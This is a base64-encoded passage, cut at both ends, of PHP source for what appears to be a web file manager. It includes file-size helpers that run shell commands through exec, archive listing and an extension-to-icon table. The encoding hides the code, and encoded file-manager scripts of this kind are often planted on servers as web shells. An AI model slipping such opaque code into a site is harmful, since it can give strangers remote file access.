ZSAnaG9zdCc6CiAgICAgICAgICAgICRyZWxhdGl2ZV9wYXRoID0gc3RyX3JlcGxhY2UoJHJvb3RfcGF0aCwgJycsICRmaWxlX3BhdGgpOwogICAgICAgICAgICByZXR1cm4gYXJyYXkoCiAgICAgICAgICAgICAgICAnbGFiZWwnID0+ICdIb3N0IFBhdGgnLAogICAgICAgICAgICAgICAgJ3BhdGgnID0+IGZtX2VuYyhmbV9jb252ZXJ0X3dpbignLycgLiAkcm9vdF91cmwgLiAnLycgLiBsdHJpbShzdHJfcmVwbGFjZSgnXFwnLCAnLycsICRyZWxhdGl2ZV9wYXRoKSwgJy8nKSkpCiAgICAgICAgICAgICk7CiAgICAgICAgY2FzZSAnZnVsbCc6CiAgICAgICAgZGVmYXVsdDoKICAgICAgICAgICAgcmV0dXJuIGFycmF5KAogICAgICAgICAgICAgICAgJ2xhYmVsJyA9PiAnRnVsbCBQYXRoJywKICAgICAgICAgICAgICAgICdwYXRoJyA9PiBmbV9lbmMoZm1fY29udmVydF93aW4oJGZpbGVfcGF0aCkpCiAgICAgICAgICAgICk7CiAgICB9Cn0KCi8qKgogKiBDaGVjayBmaWxlIGlzIGluIGV4Y2x1ZGUgbGlzdAogKiBAcGFyYW0gc3RyaW5nICRmaWxlCiAqIEByZXR1cm4gYm9vbAogKi8KZnVuY3Rpb24gZm1faXNfZXhjbHVkZV9pdGVtcygkZmlsZSkgewogICAgJGV4dCA9IHN0cnRvbG93ZXIocGF0aGluZm8oJGZpbGUsIFBBVEhJTkZPX0VYVEVOU0lPTikpOwogICAgaWYgKGlzc2V0KCRleGNsdWRlX2l0ZW1zKSBhbmQgc2l6ZW9mKCRleGNsdWRlX2l0ZW1zKSkgewogICAgICAgIHVuc2V0KCRleGNsdWRlX2l0ZW1zKTsKICAgIH0KCiAgICAkZXhjbHVkZV9pdGVtcyA9IEZNX0VYQ0xVREVfSVRFTVM7CiAgICBpZiAodmVyc2lvbl9jb21wYXJlKFBIUF9WRVJTSU9OLCAnNy4wLjAnLCAnPCcpKSB7CiAgICAgICAgJGV4Y2x1ZGVfaXRlbXMgPSB1bnNlcmlhbGl6ZSgkZXhjbHVkZV9pdGVtcyk7CiAgICB9CiAgICBpZiAoIWluX2FycmF5KCRmaWxlLCAkZXhjbHVkZV9pdGVtcykgJiYgIWluX2FycmF5KCIqLiRleHQiLCAkZXhjbHVkZV9pdGVtcykpIHsKICAgICAgICByZXR1cm4gdHJ1ZTsKICAgIH0KICAgIHJldHVybiBmYWxzZTsKfQoKLyoqCiAqIGdldCBsYW5ndWFnZSB0cmFuc2xhdGlvbnMgZnJvbSBqc29uIGZpbGUKICogQHBhcmFtIGludCAkdHIKICogQHJldHVybiBhcnJheQogKi8KZnVuY3Rpb24gZm1fZ2V0X3RyYW5zbGF0aW9ucygkdHIpIHsKICAgIHRyeSB7CiAgICAgICAgJGNvbnRlbnQgPSBAZmlsZV9nZXRfY29udGVudHMoJ3RyYW5zbGF0aW9uLmpzb24nKTsKICAgICAgICBpZigkY29udGVudCAhPT0gRkFMU0UpIHsKICAgICAgICAgICAgJGxuZyA9IGpzb25fZGVjb2RlKCRjb250ZW50LCBUUlVFKTsKICAgICAgICAgICAgZ2xvYmFsICRsYW5nX2xpc3Q7CiAgICAgICAgICAgIGZvcmVhY2ggKCRsbmdbImxhbmd1YWdlIl0gYXMgJGtleSA9PiAkdmFsdWUpCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICRjb2RlID0gJHZhbHVlWyJjb2RlIl07CiAgICAgICAgICAgICAgICAkbGFuZ19saXN0WyRjb2RlXSA9ICR2YWx1ZVsibmFtZSJdOwogICAgICAgICAgICAgICAgaWYgKCR0cikKICAgICAgICAgICAgICAgICAgICAkdHJbJGNvZGVdID0gJHZhbHVlWyJ0cmFuc2xhdGlvbiJdOwogICAgICAgICAgICB9CiAgICAgICAgICAgIHJldHVybiAkdHI7CiAgICAgICAgfQoKICAgIH0KICAgIGNhdGNoIChFeGNlcHRpb24gJGUpIHsKICAgICAgICBlY2hvICRlOwogICAgfQp9CgovKioKICogQHBhcmFtIHN0cmluZyAkZmlsZQogKiBSZWNvdmVyIGFsbCBmaWxlIHNpemVzIGxhcmdlciB0aGFuID4gMkdCLgogKiBXb3JrcyBvbiBwaHAgMzJiaXRzIGFuZCA2NGJpdHMgYW5kIHN1cHBvcnRzIGxpbnV4CiAqIEByZXR1cm4gaW50fHN0cmluZwogKi8KZnVuY3Rpb24gZm1fZ2V0X3NpemUoJGZpbGUpCnsKICAgIHN0YXRpYyAkaXN3aW47CiAgICBzdGF0aWMgJGlzZGFyd2luOwogICAgaWYgKCFpc3NldCgkaXN3aW4pKSB7CiAgICAgICAgJGlzd2luID0gKHN0cnRvdXBwZXIoc3Vic3RyKFBIUF9PUywgMCwgMykpID09ICdXSU4nKTsKICAgIH0KICAgIGlmICghaXNzZXQoJGlzZGFyd2luKSkgewogICAgICAgICRpc2RhcndpbiA9IChzdHJ0b3VwcGVyKHN1YnN0cihQSFBfT1MsIDApKSA9PSAiREFSV0lOIik7CiAgICB9CgogICAgc3RhdGljICRleGVjX3dvcmtzOwogICAgaWYgKCFpc3NldCgkZXhlY193b3JrcykpIHsKICAgICAgICAkZXhlY193b3JrcyA9IChmdW5jdGlvbl9leGlzdHMoJ2V4ZWMnKSAmJiAhaW5pX2dldCgnc2FmZV9tb2RlJykgJiYgQGV4ZWMoJ2VjaG8gRVhFQycpID09ICdFWEVDJyk7CiAgICB9CgogICAgLy8gdHJ5IGEgc2hlbGwgY29tbWFuZAogICAgaWYgKCRleGVjX3dvcmtzKSB7CiAgICAgICAgJGFyZyA9IGVzY2FwZXNoZWxsYXJnKCRmaWxlKTsKICAgICAgICAkY21kID0gKCRpc3dpbikgPyAiZm9yICVGIGluIChcIiRmaWxlXCIpIGRvIEBlY2hvICV+ekYiIDogKCRpc2RhcndpbiA/ICJzdGF0IC1mJXogJGFyZyIgOiAic3RhdCAtYyVzICRhcmciKTsKICAgICAgICBAZXhlYygkY21kLCAkb3V0cHV0KTsKICAgICAgICBpZiAoaXNfYXJyYXkoJG91dHB1dCkgJiYgY3R5cGVfZGlnaXQoJHNpemUgPSB0cmltKGltcGxvZGUoIlxuIiwgJG91dHB1dCkpKSkgewogICAgICAgICAgICByZXR1cm4gJHNpemU7CiAgICAgICAgfQogICAgfQoKICAgIC8vIHRyeSB0aGUgV2luZG93cyBDT00gaW50ZXJmYWNlCiAgICBpZiAoJGlzd2luICYmIGNsYXNzX2V4aXN0cygiQ09NIikpIHsKICAgICAgICB0cnkgewogICAgICAgICAgICAkZnNvYmogPSBuZXcgQ09NKCdTY3JpcHRpbmcuRmlsZVN5c3RlbU9iamVjdCcpOwogICAgICAgICAgICAkZiA9ICRmc29iai0+R2V0RmlsZSggcmVhbHBhdGgoJGZpbGUpICk7CiAgICAgICAgICAgICRzaXplID0gJGYtPlNpemU7CiAgICAgICAgfSBjYXRjaCAoRXhjZXB0aW9uICRlKSB7CiAgICAgICAgICAgICRzaXplID0gbnVsbDsKICAgICAgICB9CiAgICAgICAgaWYgKGN0eXBlX2RpZ2l0KCRzaXplKSkgewogICAgICAgICAgICByZXR1cm4gJHNpemU7CiAgICAgICAgfQogICAgfQoKICAgIC8vIGlmIGFsbCBlbHNlIGZhaWxzCiAgICByZXR1cm4gZmlsZXNpemUoJGZpbGUpOwp9CgovKioKICogR2V0IG5pY2UgZmlsZXNpemUKICogQHBhcmFtIGludCAkc2l6ZQogKiBAcmV0dXJuIHN0cmluZwogKi8KZnVuY3Rpb24gZm1fZ2V0X2ZpbGVzaXplKCRzaXplKQp7CiAgICAkc2l6ZSA9IChmbG9hdCkgJHNpemU7CiAgICAkdW5pdHMgPSBhcnJheSgnQicsICdLQicsICdNQicsICdHQicsICdUQicsICdQQicsICdFQicsICdaQicsICdZQicpOwogICAgJHBvd2VyID0gKCRzaXplID4gMCkgPyBmbG9vcihsb2coJHNpemUsIDEwMjQpKSA6IDA7CiAgICAkcG93ZXIgPSAoJHBvd2VyID4gKGNvdW50KCR1bml0cykgLSAxKSkgPyAoY291bnQoJHVuaXRzKSAtIDEpIDogJHBvd2VyOwogICAgcmV0dXJuIHNwcmludGYoJyVzICVzJywgcm91bmQoJHNpemUgLyBwb3coMTAyNCwgJHBvd2VyKSwgMiksICR1bml0c1skcG93ZXJdKTsKfQoKLyoqCiAqIEdldCB0b3RhbCBzaXplIG9mIGRpcmVjdG9yeSB0cmVlLgogKgogKiBAcGFyYW0gIHN0cmluZyAkZGlyZWN0b3J5IFJlbGF0aXZlIG9yIGFic29sdXRlIGRpcmVjdG9yeSBuYW1lLgogKiBAcmV0dXJuIGludCBUb3RhbCBudW1iZXIgb2YgYnl0ZXMuCiAqLwpmdW5jdGlvbiBmbV9nZXRfZGlyZWN0b3J5c2l6ZSgkZGlyZWN0b3J5KSB7CiAgICAkYnl0ZXMgPSAwOwogICAgJGRpcmVjdG9yeSA9IHJlYWxwYXRoKCRkaXJlY3RvcnkpOwogICAgaWYgKCRkaXJlY3RvcnkgIT09IGZhbHNlICYmICRkaXJlY3RvcnkgIT0gJycgJiYgZmlsZV9leGlzdHMoJGRpcmVjdG9yeSkpewogICAgICAgIGZvcmVhY2gobmV3IFJlY3Vyc2l2ZUl0ZXJhdG9ySXRlcmF0b3IobmV3IFJlY3Vyc2l2ZURpcmVjdG9yeUl0ZXJhdG9yKCRkaXJlY3RvcnksIEZpbGVzeXN0ZW1JdGVyYXRvcjo6U0tJUF9ET1RTKSkgYXMgJGZpbGUpewogICAgICAgICAgICAkYnl0ZXMgKz0gJGZpbGUtPmdldFNpemUoKTsKICAgICAgICB9CiAgICB9CiAgICByZXR1cm4gJGJ5dGVzOwp9CgovKioKICogR2V0IGluZm8gYWJvdXQgemlwIGFyY2hpdmUKICogQHBhcmFtIHN0cmluZyAkcGF0aAogKiBAcmV0dXJuIGFycmF5fGJvb2wKICovCmZ1bmN0aW9uIGZtX2dldF96aWZfaW5mbygkcGF0aCwgJGV4dCkgewogICAgaWYgKCRleHQgPT0gJ3ppcCcgJiYgZnVuY3Rpb25fZXhpc3RzKCd6aXBfb3BlbicpKSB7CiAgICAgICAgJGFyY2ggPSBAemlwX29wZW4oJHBhdGgpOwogICAgICAgIGlmICgkYXJjaCkgewogICAgICAgICAgICAkZmlsZW5hbWVzID0gYXJyYXkoKTsKICAgICAgICAgICAgd2hpbGUgKCR6aXBfZW50cnkgPSBAemlwX3JlYWQoJGFyY2gpKSB7CiAgICAgICAgICAgICAgICAkemlwX25hbWUgPSBAemlwX2VudHJ5X25hbWUoJHppcF9lbnRyeSk7CiAgICAgICAgICAgICAgICAkemlwX2ZvbGRlciA9IHN1YnN0cigkemlwX25hbWUsIC0xKSA9PSAnLyc7CiAgICAgICAgICAgICAgICAkZmlsZW5hbWVzW10gPSBhcnJheSgKICAgICAgICAgICAgICAgICAgICAnbmFtZScgPT4gJHppcF9uYW1lLAogICAgICAgICAgICAgICAgICAgICdmaWxlc2l6ZScgPT4gQHppcF9lbnRyeV9maWxlc2l6ZSgkemlwX2VudHJ5KSwKICAgICAgICAgICAgICAgICAgICAnY29tcHJlc3NlZF9zaXplJyA9PiBAemlwX2VudHJ5X2NvbXByZXNzZWRzaXplKCR6aXBfZW50cnkpLAogICAgICAgICAgICAgICAgICAgICdmb2xkZXInID0+ICR6aXBfZm9sZGVyCiAgICAgICAgICAgICAgICAgICAgLy8nY29tcHJlc3Npb25fbWV0aG9kJyA9PiB6aXBfZW50cnlfY29tcHJlc3Npb25tZXRob2QoJHppcF9lbnRyeSksCiAgICAgICAgICAgICAgICApOwogICAgICAgICAgICB9CiAgICAgICAgICAgIEB6aXBfY2xvc2UoJGFyY2gpOwogICAgICAgICAgICByZXR1cm4gJGZpbGVuYW1lczsKICAgICAgICB9CiAgICB9IGVsc2VpZigkZXh0ID09ICd0YXInICYmIGNsYXNzX2V4aXN0cygnUGhhckRhdGEnKSkgewogICAgICAgICRhcmNoaXZlID0gbmV3IFBoYXJEYXRhKCRwYXRoKTsKICAgICAgICAkZmlsZW5hbWVzID0gYXJyYXkoKTsKICAgICAgICBmb3JlYWNoKG5ldyBSZWN1cnNpdmVJdGVyYXRvckl0ZXJhdG9yKCRhcmNoaXZlKSBhcyAkZmlsZSkgewogICAgICAgICAgICAkcGFyZW50X2luZm8gPSAkZmlsZS0+Z2V0UGF0aEluZm8oKTsKICAgICAgICAgICAgJHppcF9uYW1lID0gc3RyX3JlcGxhY2UoInBoYXI6Ly8iLiRwYXRoLCAnJywgJGZpbGUtPmdldFBhdGhOYW1lKCkpOwogICAgICAgICAgICAkemlwX25hbWUgPSBzdWJzdHIoJHppcF9uYW1lLCAoJHBvcyA9IHN0cnBvcygkemlwX25hbWUsICcvJykpICE9PSBmYWxzZSA/ICRwb3MgKyAxIDogMCk7CiAgICAgICAgICAgICR6aXBfZm9sZGVyID0gJHBhcmVudF9pbmZvLT5nZXRGaWxlTmFtZSgpOwogICAgICAgICAgICAkemlwX2luZm8gPSBuZXcgU3BsRmlsZUluZm8oJGZpbGUpOwogICAgICAgICAgICAkZmlsZW5hbWVzW10gPSBhcnJheSgKICAgICAgICAgICAgICAgICduYW1lJyA9PiAkemlwX25hbWUsCiAgICAgICAgICAgICAgICAnZmlsZXNpemUnID0+ICR6aXBfaW5mby0+Z2V0U2l6ZSgpLAogICAgICAgICAgICAgICAgJ2NvbXByZXNzZWRfc2l6ZScgPT4gJGZpbGUtPmdldENvbXByZXNzZWRTaXplKCksCiAgICAgICAgICAgICAgICAnZm9sZGVyJyA9PiAkemlwX2ZvbGRlcgogICAgICAgICAgICApOwogICAgICAgIH0KICAgICAgICByZXR1cm4gJGZpbGVuYW1lczsKICAgIH0KICAgIHJldHVybiBmYWxzZTsKfQoKLyoqCiAqIEVuY29kZSBodG1sIGVudGl0aWVzCiAqIEBwYXJhbSBzdHJpbmcgJHRleHQKICogQHJldHVybiBzdHJpbmcKICovCmZ1bmN0aW9uIGZtX2VuYygkdGV4dCkKewogICAgcmV0dXJuIGh0bWxzcGVjaWFsY2hhcnMoJHRleHQsIEVOVF9RVU9URVMsICdVVEYtOCcpOwp9CgovKioKICogUHJldmVudCBYU1MgYXR0YWNrcwogKiBAcGFyYW0gc3RyaW5nICR0ZXh0CiAqIEByZXR1cm4gc3RyaW5nCiAqLwpmdW5jdGlvbiBmbV9pc3ZhbGlkX2ZpbGVuYW1lKCR0ZXh0KSB7CiAgICByZXR1cm4gKHN0cnBicmsoJHRleHQsICcvPyUqOnwiPD4nKSA9PT0gRkFMU0UpID8gdHJ1ZSA6IGZhbHNlOwp9CgovKioKICogU2F2ZSBtZXNzYWdlIGluIHNlc3Npb24KICogQHBhcmFtIHN0cmluZyAkbXNnCiAqIEBwYXJhbSBzdHJpbmcgJHN0YXR1cwogKi8KZnVuY3Rpb24gZm1fc2V0X21zZygkbXNnLCAkc3RhdHVzID0gJ29rJykKewogICAgJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydtZXNzYWdlJ10gPSAkbXNnOwogICAgJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydzdGF0dXMnXSA9ICRzdGF0dXM7Cn0KCi8qKgogKiBDaGVjayBpZiBzdHJpbmcgaXMgaW4gVVRGLTgKICogQHBhcmFtIHN0cmluZyAkc3RyaW5nCiAqIEByZXR1cm4gaW50CiAqLwpmdW5jdGlvbiBmbV9pc191dGY4KCRzdHJpbmcpCnsKICAgIHJldHVybiBwcmVnX21hdGNoKCcvL3UnLCAkc3RyaW5nKTsKfQoKLyoqCiAqIENvbnZlcnQgZmlsZSBuYW1lIHRvIFVURi04IGluIFdpbmRvd3MKICogQHBhcmFtIHN0cmluZyAkZmlsZW5hbWUKICogQHJldHVybiBzdHJpbmcKICovCmZ1bmN0aW9uIGZtX2NvbnZlcnRfd2luKCRmaWxlbmFtZSkKewogICAgaWYgKEZNX0lTX1dJTiAmJiBmdW5jdGlvbl9leGlzdHMoJ2ljb252JykpIHsKICAgICAgICAkZmlsZW5hbWUgPSBpY29udihGTV9JQ09OVl9JTlBVVF9FTkMsICdVVEYtOC8vSUdOT1JFJywgJGZpbGVuYW1lKTsKICAgIH0KICAgIHJldHVybiAkZmlsZW5hbWU7Cn0KCi8qKgogKiBAcGFyYW0gJG9iagogKiBAcmV0dXJuIGFycmF5CiAqLwpmdW5jdGlvbiBmbV9vYmplY3RfdG9fYXJyYXkoJG9iaikKewogICAgaWYgKCFpc19vYmplY3QoJG9iaikgJiYgIWlzX2FycmF5KCRvYmopKSB7CiAgICAgICAgcmV0dXJuICRvYmo7CiAgICB9CiAgICBpZiAoaXNfb2JqZWN0KCRvYmopKSB7CiAgICAgICAgJG9iaiA9IGdldF9vYmplY3RfdmFycygkb2JqKTsKICAgIH0KICAgIHJldHVybiBhcnJheV9tYXAoJ2ZtX29iamVjdF90b19hcnJheScsICRvYmopOwp9CgovKioKICogR2V0IENTUyBjbGFzc25hbWUgZm9yIGZpbGUKICogQHBhcmFtIHN0cmluZyAkcGF0aAogKiBAcmV0dXJuIHN0cmluZwogKi8KZnVuY3Rpb24gZm1fZ2V0X2ZpbGVfaWNvbl9jbGFzcygkcGF0aCkKewogICAgLy8gZ2V0IGV4dGVuc2lvbgogICAgJGV4dCA9IHN0cnRvbG93ZXIocGF0aGluZm8oJHBhdGgsIFBBVEhJTkZPX0VYVEVOU0lPTikpOwoKICAgIHN3aXRjaCAoJGV4dCkgewogICAgICAgIGNhc2UgJ2ljbyc6CiAgICAgICAgY2FzZSAnZ2lmJzoKICAgICAgICBjYXNlICdqcGcnOgogICAgICAgIGNhc2UgJ2pwZWcnOgogICAgICAgIGNhc2UgJ2pwYyc6CiAgICAgICAgY2FzZSAnanAyJzoKICAgICAgICBjYXNlICdqcHgnOgogICAgICAgIGNhc2UgJ3hibSc6CiAgICAgICAgY2FzZSAnd2JtcCc6CiAgICAgICAgY2FzZSAncG5nJzoKICAgICAgICBjYXNlICdibXAnOgogICAgICAgIGNhc2UgJ3RpZic6CiAgICAgICAgY2FzZSAndGlmZic6CiAgICAgICAgY2FzZSAnd2VicCc6CiAgICAgICAgY2FzZSAnYXZpZic6CiAgICAgICAgY2FzZSAnc3ZnJzoKICAgICAgICAgICAgJGltZyA9ICdmYSBmYS1waWN0dXJlLW8nOwogICAgICAgICAgICBicmVhazsKICAgICAgICBjYXNlICdwYXNzd2QnOgogICAgICAgIGNhc2UgJ2Z0cHF1b3RhJzoKICAgICAgICBjYXNlICdzcWwnOgogICAgICAgIGNhc2UgJ2pzJzoKICAgICAgICBjYXNlICd0cyc6CiAgICAgICAgY2FzZSAnanN4JzoKICAgICAgICBjYXNlICd0c3gnOgogICAgICAgIGNhc2UgJ2hicyc6CiAgICAgICAgY2FzZSAnanNvbic6CiAgICAgICAgY2FzZSAnc2gnOgogICAgICAgIGNhc2UgJ2NvbmZpZyc6CiAgICAgICAgY2FzZSAndHdpZyc6CiAgICAgICAgY2FzZSAndHBsJzoKICAgICAgICBjYXNlICdtZCc6CiAgICAgICAgY2FzZSAnZ2l0aWdub3JlJzoKICAgICAgICBjYXNlICdjJzoKICAgICAgICBjYXNlICdjcHAnOgogICAgICAgIGNhc2UgJ2NzJzoKICAgICAgICBjYXNlICdweSc6CiAgICAgICAgY2FzZSAncnMnOgogICAgICAgIGNhc2UgJ21hcCc6CiAgICAgICAgY2FzZSAnbG9jayc6CiAgICAgICAgY2FzZSAnZHRkJzoKICAgICAgICAgICAgJGltZyA9ICdmYSBmYS1maWxlLWNvZGUtbyc7CiAgICAgICAgICAgIGJyZWFrOwogICAgICAgIGNhc2UgJ3R4dCc6CiAgICAgICAgY2FzZSAnaW5pJzoKICAgICAgICBjYXNlICdjb25mJzoKICAgICAgICBjYXNlICdsb2cnOgogICAgICAgIGNhc2UgJ2h0YWNjZXNzJzoKICAgICAgICBjYXNlICd5YW1sJzoKICAgICAgICBjYXNlICd5bWwnOgogICAgICAgIGNhc2UgJ3RvbWwnOgogICAgICAgIGNhc2UgJ3RtcCc6CiAgICAgICAgY2FzZSAndG9wJzoKICAgICAgICBjYXNlICdib3QnOgogICAgICAgIGNhc2UgJ2RhdCc6CiAgICAgICAgY2FzZSAnYmFrJzoKICAgICAgICBjYXNlICdodHBhc3N3ZCc6CiAgICAgICAgY2FzZSAncGwnOgogICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLWZpbGUtdGV4dC1vJzsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSAnY3NzJzoKICAgICAgICBjYXNlICdsZXNzJzoKICAgICAgICBjYXNlICdzYXNzJzoKICAgICAgICBjYXNlICdzY3NzJzoKICAgICAgICAgICAgJGltZyA9ICdmYSBmYS1jc3MzJzsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSAnYnoyJzoKICAgICAgICBjYXNlICd6aXAnOgogICAgICAgIGNhc2UgJ3Jhcic6CiAgICAgICAgY2FzZSAnZ3onOgogICAgICAgIGNhc2UgJ3Rhcic6CiAgICAgICAgY2FzZSAnN3onOgogICAgICAgIGNhc2UgJ3h6JzoKICAgICAgICAgICAgJGltZyA9ICdmYSBmYS1maWxlLWFyY2hpdmUtbyc7CiAgICAgICAgICAgIGJyZWFrOwogICAgICAgIGNhc2UgJ3BocCc6CiAgICAgICAgY2FzZSAncGhwNCc6CiAgICAgICAgY2FzZSAncGhwNSc6CiAgICAgICAgY2FzZSAncGhwcyc6CiAgICAgICAgY2FzZSAncGh0bWwnOgogICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLWNvZGUnOwogICAgICAgICAgICBicmVhazsKICAgICAgICBjYXNlICdodG0nOgogICAgICAgIGNhc2UgJ2h0bWwnOgogICAgICAgIGNhc2UgJ3NodG1sJzoKICAgICAgICBjYXNlICd4aHRtbCc6CiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtaHRtbDUnOwogICAgICAgICAgICBicmVhazsKICAgICAgICBjYXNlICd4bWwnOgogICAgICAgIGNhc2UgJ3hzbCc6CiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtZmlsZS1leGNlbC1vJzsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSAnd2F2JzoKICAgICAgICBjYXNlICdtcDMnOgogICAgICAgIGNhc2UgJ21wMic6CiAgICAgICAgY2FzZSAnbTRhJzoKICAgICAgICBjYXNlICdhYWMnOgogICAgICAgIGNhc2UgJ29nZyc6CiAgICAgICAgY2FzZSAnb2dhJzoKICAgICAgICBjYXNlICd3bWEnOgogICAgICAgIGNhc2UgJ21rYSc6CiAgICAgICAgY2FzZSAnZmxhYyc6CiAgICAgICAgY2FzZSAnYWMzJzoKICAgICAgICBjYXNlICd0ZHMnOgogICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLW11c2ljJzsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSAnbTN1JzoKICAgICAgICBjYXNlICdtM3U4JzoKICAgICAgICBjYXNlICdwbHMnOgogICAgICAgIGNhc2UgJ2N1ZSc6CiAgICAgICAgY2FzZSAneHNwZic6CiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtaGVhZHBob25lcyc7CiAgICAgICAgICAgIGJyZWFrOwogICAgICAgIGNhc2UgJ2F2aSc6CiAgICAgICAgY2FzZSAnbXBnJzoKICAgICAgICBjYXNlICdtcGVnJzoKICAgICAgICBjYXNlICdtcDQnOgogICAgICAgIGNhc2UgJ200dic6CiAgICAgICAgY2FzZSAnZmx2JzoKICAgICAgICBjYXNlICdmNHYnOgogICAgICAgIGNhc2UgJ29nbSc6CiAgICAgICAgY2FzZSAnb2d2JzoKICAgICAgICBjYXNlICdtb3YnOgogICAgICAgIGNhc2UgJ21rdic6CiAgICAgICAgY2FzZSAnM2dwJzoKICAgICAgICBjYXNlICdhc2YnOgogICAgICAgIGNhc2UgJ3dtdic6CiAgICAgICAgY2FzZSAnd2VibSc6CiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtZmlsZS12aWRlby1vJzsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSAnZW1sJzoKICAgICAgICBjYXNlICdtc2cnOgogICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLWVudmVsb3BlLW8nOwogICAgICAgICAgICBicmVhazsKICAgICAgICBjYXNlICd4bHMnOgogICAgICAgIGNhc2UgJ3hsc3gnOgogICAgICAgIGNhc2UgJ29kcyc6CiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtZmlsZS1leGNlbC1vJzsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSAnY3N2JzoKICAgICAgICAgICAgJGltZyA9ICdmYSBmYS1maWxlLXRleHQtbyc7CiAgICAgICAgICAgIGJyZWFrOwogICAgICAgIGNhc2UgJ2Jhayc6CiAgICAgICAgY2FzZSAnc3dwJzoKICAgICAgICAgICAgJGltZyA9ICdmYSBmYS1jbGlwYm9hcmQnOwogICAgICAgICAgICBicmVhazsKICAgICAgICBjYXNlICdkb2MnOgogICAgICAgIGNhc2UgJ2RvY3gnOgogICAgICAgIGNhc2UgJ29kdCc6CiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtZmlsZS13b3JkLW8nOwogICAgICAgICAgICBicmVhazsKICAgICAgICBjYXNlICdwcHQnOgogICAgICAgIGNhc2UgJ3BwdHgnOgogICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLWZpbGUtcG93ZXJwb2ludC1vJzsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSAndHRmJzoKICAgICAgICBjYXNlICd0dGMnOgogICAgICAgIGNhc2UgJ290Zic6CiAgICAgICAgY2FzZSAnd29mZic6CiAgICAgICAgY2FzZSAnd29mZjInOgogICAgICAgIGNhc2UgJ2VvdCc6CiAgICAgICAgY2FzZSAnZm9uJzoKICAgICAgICAgICAgJGltZyA9ICdmYSBmYS1mb250JzsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSAncGRmJzoKICAgICAgICAgICAgJGltZyA9ICdmYSBmYS1maWxlLXBkZi1vJzsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSAncHNkJzoKICAgICAgICBjYXNlICdhaSc6CiAgICAgICAgY2FzZSAnZXBzJzoKICAgICAgICBjYXNlICdmbGEnOgogICAgICAgIGNhc2UgJ3N3Zic6CiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtZmlsZS1pbWFnZS1vJzsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSAnZXhlJzoKICAgICAgICBjYXNlICdtc2knOgogICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLWZpbGUtbyc7CiAgICAgICAgICAgIGJyZWFrOwogICAgICAgIGNhc2UgJ2JhdCc6CiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtdGVybWluYWwnOwogICAgICAgICAgICBicmVhazsKICAgICAgICBkZWZhdWx0OgogICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLWluZm8tY2lyY2xlJzsKICAgIH0KCiAgICByZXR1cm4gJGltZzsKfQoKLyoqCiAqIEdldCBpbWFnZSBmaWxlcyBleHRlbnNpb25zCiAqIEByZXR1cm4gYXJyYXkKICovCmZ1bmN0aW9uIGZtX2dldF9pbWFnZV9leHRzKCkKewogICAgcmV0dXJuIGFycmF5KCdpY28nLCAnZ2lmJywgJ2pwZycsICdqcGVnJywgJ2pwYycsICdqcDInLCAnanB4JywgJ3hibScsICd3Ym1wJywgJ3BuZycsICdibXAnLCAndGlmJywgJ3RpZmYnLCAncHNkJywgJ3N2ZycsICd3ZWJwJywgJ2F2aWYnKTsKfQoKLyoqCiAqIEdldCB2aWRlbyBmaWxlcyBleHRlbnNpb25zCiAqIEByZXR1cm4gYXJyYXkKICovCmZ1bmN0aW9uIGZtX2dldF92aWRlb19leHRzKCkKewogICAgcmV0dXJuIGFycmF5KCdhdmknLCAnd2VibScsICd3bXYnLCAnbXA0JywgJ200dicsICdvZ20nLCAnb2d2JywgJ21vdicsICdta3YnKTsKfQoKLyoqCiAqIEdldCBhdWRpbyBmaWxlcyBleHRlbnNpb25zCiAqIEByZXR1cm4gYXJyYXkKICovCmZ1bmN0aW9uIGZtX2dldF9hdWRpb19leHRzKCkKewogICAgcmV0dXJuIGFycmF5KCd3YXYnLCAnbXAzJywgJ29nZycsICdtNGEnKTsKfQoKLyoqCiAqIEdldCB0ZXh0IGZpbGUgZXh0ZW5zaW9ucwogKiBAcmV0dXJuIGFycmF5CiAqLwpmdW5jdGlvbiBmbV9nZXRfdGV4dF9leHRzKCkKewogICAgcmV0dXJuIGFycmF5KAogICAgICAgICd0eHQnLCAnY3NzJywgJ2luaScsICdjb25mJywgJ2xvZycsICdodGFjY2VzcycsICdwYXNzd2QnLCAnZnRwcXVvdGEnLCAnc3FsJywgJ2pzJywgJ3RzJywgJ2pzeCcsICd0c3gnLCAnbWpzJywgJ2pzb24nLCAnc2gnLCAnY29uZmlnJywKICAgICAgICAncGhwJywgJ3BocDQnLCAncGhwNScsICdwaHBzJywgJ3BodG1sJywgJ2h0bScsICdodG1sJywgJ3NodG1sJywgJ3hodG1sJywgJ3htbCcsICd4c2wnLCAnbTN1JywgJ20zdTgnLCAncGxzJywgJ2N1ZScsICdiYXNoJywgJ3Z1ZScsCiAgICAgICAgJ2VtbCcsICdtc2cnLCAnY3N2JywgJ2JhdCcsICd0d2lnJywgJ3RwbCcsICdtZCcsICdnaXRpZ25vcmUnLCAnbGVzcycsICdzYXNzJywgJ3Njc3MnLCAnYycsICdjcHAnLCAnY3MnLCAncHknLCAnZ28nLCAnenNoJywgJ3N3aWZ0JywKICAgICAgICAnbWFwJywgJ2xvY